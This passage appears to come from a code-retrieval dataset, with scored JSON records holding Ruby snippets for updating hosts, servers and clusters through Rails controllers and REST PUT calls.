}.join(\":\")\n\n @name = params[:host][:name]\n params[:host][:con_macaddr].upcase!\n params[:host][:macaddr].upcase!\n\n #session[:status] = true\n #session[:msg] = \"\"\n\n validate_addrs\n check_status and return\n\n validate_hostname\n check_status and return\n\n clean_tmp\n check_status and return\n\n respond_to do |format|\n\n if @host.update_attributes(params[:host])\n\n generate_dns\n check_status and return\n\n Rails.logger.info \"Running netgroup3\"\n generate_netgroup3\n check_status and return\n\n generate_location\n check_status and return\n\n generate_tftp\n check_status and return\n\n generate_ks\n check_status and return\n\n #generate_ifmgr\n #check_status and return\n\n generate_dhcpd\n check_status and return\n\n sync_to_synto\n check_status and return\n\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.6079576", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "0473871b6e9ac0988771337709c1a463", "score": "0.60747397", "text": "def update_hosts\n raise NotImplementedError\n end", "title": "" }, { "docid": "a21658e8869b48b877bfbe57de8fb717", "score": "0.6054469", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.put(\n url,\n { Contact: { email: \"wacky_new_email@coolstuff.com\" } } )\n \nend", "title": "" }, { "docid": "c44458dbb941c5d3aa4569b5ae85c7e4", "score": "0.6047959", "text": "def update\n authorize! :update, @host\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb51ec78da0453254f835e7edf96d027", "score": "0.6031962", "text": "def update\n @server = compute.get_server(params[:id]).update(:name=>params[:name])\n respond_to do |format|\n format.html { redirect_to servers_path, :notice => 'Server was successfully updated.' }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "5b730f1bece25dd124625c9bb35cf247", "score": "0.60280114", "text": "def remap_dns_hosts(hash)\n @resource['hosts'].post hash.to_json, :content_type => 'application/json'\n end", "title": "" }, { "docid": "33175932d98796a7c43620e7e7a3a339", "score": "0.6027732", "text": "def update\n @host = Host.find_by_id(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a57c4278a11338e9c6ad37b6a015e44", "score": "0.60003096", "text": "def _put_ payload, path\n @resource[path].put(payload){|response, request, result| [result, response] }\n rescue Exception => e\n [ OpenStruct.new(:code => \"500\"), e.message =~ /getaddrinfo/ ? \"Unable to locate #{hostname}\" : e.message]\n end", "title": "" }, { "docid": "6493b1ee8baf33495945209a02f6339b", "score": "0.59885067", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6493b1ee8baf33495945209a02f6339b", "score": "0.59885067", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7d3cd0f218c42e01dbd0246ab7b00c9", "score": "0.5959836", "text": "def put(path, params={}); make_request(:put, host, port, path, params); end", "title": "" }, { "docid": "af41c413712a8a1fe89c8299b9221382", "score": "0.5958172", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af41c413712a8a1fe89c8299b9221382", "score": "0.5958172", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af41c413712a8a1fe89c8299b9221382", "score": "0.5958172", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af41c413712a8a1fe89c8299b9221382", "score": "0.5958172", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af41c413712a8a1fe89c8299b9221382", "score": "0.5958172", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15c6563779a60b4d4801ec8681ec01a9", "score": "0.5931576", "text": "def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @ipv4_addresses = args[:ipv4_addresses] if args.key?(:ipv4_addresses)\n @ipv6_addresses = args[:ipv6_addresses] if args.key?(:ipv6_addresses)\n end", "title": "" }, { "docid": "62c06e369ccd7b0e713b77f5de44685b", "score": "0.59198874", "text": "def update\n if check.nil? || connect.nil?\n return\n end \n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to hosts_path}\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "266f2ce25bf36fad91405d6e494d8008", "score": "0.58878714", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(permitted_host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "724eea0fb391ddeb6a19d3db8b011782", "score": "0.58841175", "text": "def update\n @cluster = ::Cluster.find_by!(name: params[:cluster_name])\n @container = @cluster.containers.exists.find_by(hostname: params[:hostname])\n @container.apply_params_with_source(params)\n @container.save!\n @container.reload\n render json: ::Api::V2::ExtApp::ContainerSerializer.new(@container).to_h\n end", "title": "" }, { "docid": "1c8a232956ca9db613209e9873812933", "score": "0.5883571", "text": "def update!(**args)\n @host_names = args[:host_names] if args.key?(:host_names)\n @ip = args[:ip] if args.key?(:ip)\n end", "title": "" }, { "docid": "8638e3fd0ec1a61a590663f61e6f1993", "score": "0.587741", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c551ad18ca4042937d63f4f54ae30987", "score": "0.5876553", "text": "def update\n @hostel = Hostel.find(params[:id])\n\n respond_to do |format|\n if @hostel.update_attributes(params[:hostel])\n format.html { redirect_to @hostel, notice: 'Hostel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hostel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3dc07c0b2ad0299b9febe800a0bcd2a1", "score": "0.58692104", "text": "def update_guest_access_portal(args = {}) \n put(\"/guestaccess.json/gap/#{args[:portalId]}\", args)\nend", "title": "" }, { "docid": "346cbfc5c3e0c6482e7d2db98f305616", "score": "0.5854778", "text": "def edit_host(hostname, macaddr, ipaddr)\n host = ::Infoblox::Host.find(@res, 'name~' => hostname).first\n puts \"updating host #{hostname} - Old Record: #{host.remote_attribute_hash}\"\n if host.ipv4addrs[0].ipv4addr == ipaddr\n host.ipv4addrs[0].mac = macaddr\n host.ipv4addrs[0].configure_for_dhcp = true\n else\n host.ipv4addrs[0].ipv4addr = ipaddr\n host.ipv4addrs[0].mac = macaddr\n end\n host.put\n end", "title": "" }, { "docid": "2fc504b442b108bcadac07afbf1a0218", "score": "0.5849821", "text": "def update\n @server = Server.find(params[:id])\n\n updateCategories\n\n respond_to do |format|\n if @server.update_attributes(:hostname => params[:server][:hostname], :ip => params[:server][:ip])\n\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afbcbaba800e7be9475f51652ab73c8f", "score": "0.5826479", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n# gen_ipfiles(params[:host])\n flash[:notice] = 'Host was successfully updated.'\n format.html { redirect_to host_url(@host) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @host.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "4a1c0a7d935f6c2eb995fc263ee4d768", "score": "0.58185875", "text": "def update\n respond_to do |format|\n if @server.update(server_params.permit(\n :name,\n :cpu_cores,\n :ram_gb,\n :storage_gb,\n :ipv4_address,\n :ipv6_address,\n :mac_address,\n :fqdn,\n :installed_software,\n :model,\n :vendor,\n :description,\n :responsible_id\n ))\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb504865565df07b4471b36fc19fd052", "score": "0.5810439", "text": "def update\n respond_to do |format|\n if @host_config.update(host_config_params)\n format.html { redirect_to @host_config, notice: 'Host config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @host_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d342528269f211a3dd5bf106bf64ce54", "score": "0.5806921", "text": "def execute_host_rest_api(arg_key, *arg)\n Puppet.info(arg_key + ' Action for host:' + arg[0])\n case arg_key\n when LIST then\n get_rest_call('/host')\n when CREATE then\n url = '/host/' + arg[0]\n body = Hash.new('iqnlist' => arg[1])\n post_rest_call(url, body['iqnlist'])\n when UPDATE then\n url = '/host/' + arg[0]\n body = Hash.new('iqnlist' => arg[1])\n put_rest_call(url, body['iqnlist'])\n when DELETE then\n url = '/host/' + arg[0]\n delete_rest_call(url)\n else\n Puppet.err('Invalid Option:' + arg_key)\n end\n end", "title": "" }, { "docid": "2af431c7b4ac3ea8e520ac1c210e2847", "score": "0.5791984", "text": "def update\n id = params[:id]\n @physical_host = PhysicalHost.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_host.attributes = params[:physical_host]\n @physical_host.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_host.save\n format.html { redirect_to @physical_host, notice: 'Physical host was successfully updated.' }\n format.json { respond_with_bip(@physical_host) }\n else\n format.html { render action: \"edit\" }\n format.json { respond_with_bip(@physical_host) }\n end\n end\n end", "title": "" }, { "docid": "40702c1d70ca790b908aa1f4f6159988", "score": "0.5779062", "text": "def executeHostRestApi(arg_key,*arg)\n Puppet.info(arg_key + \" Action for host:\"+ arg[0])\n case arg_key\n when LIST then\n getRestCall(\"/host\")\n when CREATE then #arg[0] = volume_name, arg[1] = volume_size\n url = \"/host/\"+arg[0]\n body = Hash.new(\"iqnlist\" => arg[1], \"wwnlist\" => arg[2])\n postRestCall(url,body)\n when UPDATE then\n url = \"/host/\"+arg[0]\n body = Hash.new(\"iqnlist\" => arg[1], \"wwnlist\" => arg[2])\n putRestCall(url,body)\n when DELETE then\n url = \"/host/\"+arg[0]\n deleteRestCall(url)\n else\n Puppet.err(\"Invalid Option:\" + arg_key)\n end\n end", "title": "" }, { "docid": "b4fbe2bb4554c75214ec612a847f458e", "score": "0.5764677", "text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "f061c3ddcdaaf254596667e4cf659d81", "score": "0.57623506", "text": "def update\n @aggregate_host = AggregateHost.find(params[:id])\n\n respond_to do |format|\n if @aggregate_host.update_attributes(params[:aggregate_host])\n format.html { redirect_to @aggregate_host, notice: 'Aggregate host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aggregate_host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "044efb3f0845f2318f38a5201364f788", "score": "0.5755938", "text": "def query_put endpoint, params\n if not @ssl\n # fixme \"#{self}::#{__method__} Allow HTTPS requests\"\n begin\n node = ::Net::HTTP.new @host, @port\n header = {'Content-Type': 'application/json'}\n uri = URI.parse \"http://#{host}:#{port}/api/#{endpoint}\"\n uri.query = URI.encode_www_form params\n request = ::Net::HTTP::Put.new uri, header\n request.body = params.to_json\n response = node.request request\n @active = true\n result = JSON::parse response.body\n rescue Timeout::Error => e\n @active = false\n p \"Can't connect to the Lisk node: Timeout!\"\n rescue Errno::EHOSTUNREACH => e\n @active = false\n p \"Can't connect to the Lisk node: Host Unreachable!\"\n rescue Errno::ECONNREFUSED => e\n @active = false\n p \"Can't connect to the Lisk node: Connection Refused!\"\n end\n end\n end", "title": "" }, { "docid": "5884d650bf0e474d427b60f1b84bdd18", "score": "0.57519287", "text": "def update\n @hostelk = Hostelk.find(params[:id])\n\n respond_to do |format|\n if @hostelk.update_attributes(params[:hostelk])\n format.html { redirect_to @hostelk, notice: 'Hostelk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hostelk.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45cad7c5aee9fadb2d004ec9f0a14d67", "score": "0.57496214", "text": "def update(conn, datahexstr)\n data = hexToBytes(datahexstr)\n resp = conn.put do |req|\n req.url \"/sensor.json\"\n req.headers['Content-Type'] = 'application/json'\n req.headers['Accept'] = 'application/json'\n req.body = DecodeElsysPayload(data).to_json\n end\n puts resp.status\nend", "title": "" }, { "docid": "6fb158ec3a84cedf4d19e7729ab2a096", "score": "0.5736645", "text": "def create\n http = Net::HTTP.new(NoodleClient.server,NoodleClient.port)\n request = Net::HTTP::Put.new(\"/nodes/#{@name}\")\n request.body = self.to_json\n request.content_type = 'application/json'\n begin\n r = http.request(request)\n rescue => e\n puts e\n puts r\n end\n end", "title": "" }, { "docid": "85a336044567fb4beb7f2de5037b0d53", "score": "0.57064563", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to(@host, :notice => 'Host was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @host.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85a336044567fb4beb7f2de5037b0d53", "score": "0.57064563", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to(@host, :notice => 'Host was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @host.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5959290eb7b9113b3baa1ffcd2f8a3d", "score": "0.5697941", "text": "def update\n @host = Host.find_by_combine(url2domain(params[:id]))\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.js { render 'update.js' }\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :ok }\n else\n @errors = @host.errors.full_messages\n format.js { render 'error.js' }\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfbc08b6c409e5144c0c61be015669ae", "score": "0.5693143", "text": "def update\n @slh_host = SlhHost.find(params[:id])\n\n respond_to do |format|\n if @slh_host.update_attributes(params[:slh_host])\n format.html { redirect_to @slh_host, :notice => 'Slh host was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slh_host.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c1cb041fab2814e1de48d2fc24ee402", "score": "0.5676245", "text": "def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n flash[:notice] = 'Host was successfully updated.'\n format.html { redirect_to(@host) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @host.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "882c8317370987b86425c0adbf5bfe8c", "score": "0.56742436", "text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "6e540729863e1facc541dadb46252af5", "score": "0.5674224", "text": "def update\n @vmhost = Vmhost.find(params[:id])\n\n respond_to do |format|\n if @vmhost.update_attributes(params[:vmhost])\n format.html { redirect_to @vmhost, notice: 'Vmhost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vmhost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d62a1d1e2e45d091ee7fc2586db0219b", "score": "0.5672518", "text": "def create_or_update_guest_access_portal_configuration(args = {}) \n put(\"/guestaccess.json/gap/#{args[:portalId]}/configuration\", args)\nend", "title": "" }, { "docid": "7647cd49cbfa29cb5183ac4af1afb155", "score": "0.5660253", "text": "def create_or_update_guest_access_portal_configuration(args = {}) \n id = args['id']\n temp_path = \"/guestaccess.json/gap/{portalId}/configuration\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"portalId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "aa0b87a16ede7353758305dbbaf57c22", "score": "0.56581557", "text": "def put(*a) route 'PUT', *a end", "title": "" }, { "docid": "f300558635440a8c331bfd6edd8fd1b1", "score": "0.5657215", "text": "def update_guest_access_portal(args = {}) \n id = args['id']\n temp_path = \"/guestaccess.json/gap/{portalId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"guestaccesId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "6fa4390d6a0cf459bd4c725f60381d6b", "score": "0.5646991", "text": "def patch_config_host(hostname, host_obj)\n # Handle custom variables\n new_host_obj = write_custom_variable(host_obj.dup)\n\n uri = URI.parse(\"#{@endpoint['url']}/config/host/#{hostname}\")\n request = Net::HTTP::Patch.new(uri.path)\n request.basic_auth(@endpoint_auth['user'], @endpoint_auth['password'])\n request['content-type'] = CONTENTTYPE\n request.body = new_host_obj.to_json\n response = @http.request(request)\n end", "title": "" }, { "docid": "7b034bc3d21de6466d377587e91b527d", "score": "0.5638896", "text": "def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to dashboard_profile_about_path, notice: 'Updated your details.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef3a3e6b1f5c6162b96f81b9f59c03cb", "score": "0.5636807", "text": "def update\n @host_type = HostType.find(params[:id])\n\n respond_to do |format|\n if @host_type.update_attributes(params[:host_type])\n format.html { redirect_to @host_type, notice: 'Host type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3088d873e78046bb8db8c81ed3956055", "score": "0.56209064", "text": "def do_modify(json, e)\n jstring = json\n unless json.is_a? String\n jstring = JSON.generate json\n end\n msg jstring, Logger::DEBUG\n uri = URI.parse(\"https://#{@host}\")\n escaped = URI.escape(\"#{@docroot}#{e}\")\n msg \"Put: #{uri}#{escaped}\", Logger::DEBUG\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start do |http|\n req = Net::HTTP::Put.new(\"#{escaped}\",initheader = {\"User-Agent\" => @username, 'Content-Type' => 'application/json; charset=utf-8'})\n req.body = jstring\n response = http_request(http, req)\n end\n msg response, Logger::DEBUG\n return response\n end", "title": "" }, { "docid": "6bd5e8636888d5dd1d8d96d7c4a57d01", "score": "0.5620055", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @description = args[:description] if args.key?(:description)\n @initial_node_count = args[:initial_node_count] if args.key?(:initial_node_count)\n @node_config = args[:node_config] if args.key?(:node_config)\n @master_auth = args[:master_auth] if args.key?(:master_auth)\n @logging_service = args[:logging_service] if args.key?(:logging_service)\n @monitoring_service = args[:monitoring_service] if args.key?(:monitoring_service)\n @network = args[:network] if args.key?(:network)\n @cluster_ipv4_cidr = args[:cluster_ipv4_cidr] if args.key?(:cluster_ipv4_cidr)\n @addons_config = args[:addons_config] if args.key?(:addons_config)\n @subnetwork = args[:subnetwork] if args.key?(:subnetwork)\n @node_pools = args[:node_pools] if args.key?(:node_pools)\n @locations = args[:locations] if args.key?(:locations)\n @enable_kubernetes_alpha = args[:enable_kubernetes_alpha] if args.key?(:enable_kubernetes_alpha)\n @self_link = args[:self_link] if args.key?(:self_link)\n @zone = args[:zone] if args.key?(:zone)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @initial_cluster_version = args[:initial_cluster_version] if args.key?(:initial_cluster_version)\n @current_master_version = args[:current_master_version] if args.key?(:current_master_version)\n @current_node_version = args[:current_node_version] if args.key?(:current_node_version)\n @create_time = args[:create_time] if args.key?(:create_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @node_ipv4_cidr_size = args[:node_ipv4_cidr_size] if args.key?(:node_ipv4_cidr_size)\n @services_ipv4_cidr = args[:services_ipv4_cidr] if args.key?(:services_ipv4_cidr)\n @instance_group_urls = args[:instance_group_urls] if args.key?(:instance_group_urls)\n @current_node_count = args[:current_node_count] if args.key?(:current_node_count)\n @expire_time = args[:expire_time] if args.key?(:expire_time)\n end", "title": "" }, { "docid": "3ce71a8b14ecad87024ed2e06a7509f8", "score": "0.56043965", "text": "def update!(**args)\n @host = args[:host] if args.key?(:host)\n @instance = args[:instance] if args.key?(:instance)\n @service = args[:service] if args.key?(:service)\n @version = args[:version] if args.key?(:version)\n end", "title": "" }, { "docid": "fe64f66c309569846dafbaf770eebcba", "score": "0.5599558", "text": "def update_host(host_options)\n\n host_options['groups'].map! { |group_id| {'groupid' => group_id} } if host_options['groups']\n host_options['templates'].map! { |template_id| {'templateid' => template_id} } if host_options['templates']\n\n message = {\n 'method' => 'host.update',\n 'params' => host_options\n }\n\n responce = send_request(message)\n\n if not ( responce.empty? ) then\n result = responce['hostids'][0].to_i\n else\n result = nil\n end\n\n return result\n end", "title": "" }, { "docid": "8385e8988d7ed8284428d188c331d40d", "score": "0.55987406", "text": "def update_hostname(hostname)\n @hostname = hostname\n end", "title": "" }, { "docid": "ba873caa7312da0b4dbecc29cc389e98", "score": "0.55617654", "text": "def setInterfacesHostname\n #API\n api_url = \"https://api.grid5000.fr/sid/\"\n api = RestClient::Resource.new(api_url, :verify_ssl => false)\n tab = @nodeRealName.split(\"\\.\")\n nodeName = tab[0]\n # nodeName = @nodeRealName.scan(/\\w+-[0-9]+/)[0]\n cluster = nodeName.scan(/\\w+/)[0]\n site = tab[1]\n apinode = JSON.parse api[\"sites/#{site}/clusters/#{cluster}/nodes/#{nodeName}.json\"].get(:accept => 'application/json')\n devices = Array.new\n addresses = Array.new\n apinode['network_adapters'].each do |na|\n if na['mountable'] == true && na['device'].include?(\"eth\") && na['device']!=\"eth0\" #Only eth device will be used\n devices.push na['device']\n eth.push na['device']\n if !na['network_address'].nil?\n addresses.push na['network_address']\n else\n addresses.push \"#{nodeName}-#{na['device']}.#{site}.grid5000.fr\"\n end\n end\n end\n if addresses.size < @interfaces.size\n STDERR.puts \"Not enough network adapters on #{@nodeRealName}\"\n STDERR.puts \"This node must have #{@interfaces.size} interfaces\"\n exit 1\n end\n i=0\n @interfaces.each do |v|\n v.setRealName(addresses[i])\n v.setDevice(devices[i])\n i+=1\n end\n end", "title": "" }, { "docid": "1f568138314a0e8dbf3cf9b2f703aef5", "score": "0.55553895", "text": "def update!(**args)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @description = args[:description] if args.key?(:description)\n @dns_name = args[:dns_name] if args.key?(:dns_name)\n @dnssec_config = args[:dnssec_config] if args.key?(:dnssec_config)\n @forwarding_config = args[:forwarding_config] if args.key?(:forwarding_config)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @name_server_set = args[:name_server_set] if args.key?(:name_server_set)\n @name_servers = args[:name_servers] if args.key?(:name_servers)\n @peering_config = args[:peering_config] if args.key?(:peering_config)\n @private_visibility_config = args[:private_visibility_config] if args.key?(:private_visibility_config)\n @reverse_lookup_config = args[:reverse_lookup_config] if args.key?(:reverse_lookup_config)\n @service_directory_config = args[:service_directory_config] if args.key?(:service_directory_config)\n @visibility = args[:visibility] if args.key?(:visibility)\n end", "title": "" }, { "docid": "af8001104cb44f23b8e778ee2d2c88c1", "score": "0.554253", "text": "def update!(**args)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @description = args[:description] if args.key?(:description)\n @dns_name = args[:dns_name] if args.key?(:dns_name)\n @dnssec_config = args[:dnssec_config] if args.key?(:dnssec_config)\n @forwarding_config = args[:forwarding_config] if args.key?(:forwarding_config)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @name_server_set = args[:name_server_set] if args.key?(:name_server_set)\n @name_servers = args[:name_servers] if args.key?(:name_servers)\n @peering_config = args[:peering_config] if args.key?(:peering_config)\n @private_visibility_config = args[:private_visibility_config] if args.key?(:private_visibility_config)\n @visibility = args[:visibility] if args.key?(:visibility)\n end", "title": "" }, { "docid": "fd690b13229a5ed9c1e826adf8517b31", "score": "0.5541415", "text": "def put(uri, body)\n uri = @host + uri.to_s\n puts 'PUT URL:', uri.to_s if $DEBUG\n error RestClient.put(uri.to_s, body.to_json, content_type: :json)\n rescue RestClient::Exceptions::OpenTimeout\n retry\n rescue RestClient::BadGateway\n retry\n end", "title": "" }, { "docid": "ebf87198df77ee1904eb63e9d6c3e447", "score": "0.5539295", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @description = args[:description] if args.key?(:description)\n @initial_node_count = args[:initial_node_count] if args.key?(:initial_node_count)\n @node_config = args[:node_config] if args.key?(:node_config)\n @master_auth = args[:master_auth] if args.key?(:master_auth)\n @logging_service = args[:logging_service] if args.key?(:logging_service)\n @monitoring_service = args[:monitoring_service] if args.key?(:monitoring_service)\n @network = args[:network] if args.key?(:network)\n @cluster_ipv4_cidr = args[:cluster_ipv4_cidr] if args.key?(:cluster_ipv4_cidr)\n @addons_config = args[:addons_config] if args.key?(:addons_config)\n @subnetwork = args[:subnetwork] if args.key?(:subnetwork)\n @node_pools = args[:node_pools] if args.key?(:node_pools)\n @locations = args[:locations] if args.key?(:locations)\n @self_link = args[:self_link] if args.key?(:self_link)\n @zone = args[:zone] if args.key?(:zone)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @initial_cluster_version = args[:initial_cluster_version] if args.key?(:initial_cluster_version)\n @current_master_version = args[:current_master_version] if args.key?(:current_master_version)\n @current_node_version = args[:current_node_version] if args.key?(:current_node_version)\n @create_time = args[:create_time] if args.key?(:create_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @node_ipv4_cidr_size = args[:node_ipv4_cidr_size] if args.key?(:node_ipv4_cidr_size)\n @services_ipv4_cidr = args[:services_ipv4_cidr] if args.key?(:services_ipv4_cidr)\n @instance_group_urls = args[:instance_group_urls] if args.key?(:instance_group_urls)\n @current_node_count = args[:current_node_count] if args.key?(:current_node_count)\n end", "title": "" }, { "docid": "c6b699c14b92b515b9e3bac99ab0d4b4", "score": "0.553832", "text": "def update!(**args)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @description = args[:description] if args.key?(:description)\n @dns_name = args[:dns_name] if args.key?(:dns_name)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @name_server_set = args[:name_server_set] if args.key?(:name_server_set)\n @name_servers = args[:name_servers] if args.key?(:name_servers)\n end", "title": "" }, { "docid": "db1d6ae1369edef3711984065e76153f", "score": "0.5533515", "text": "def 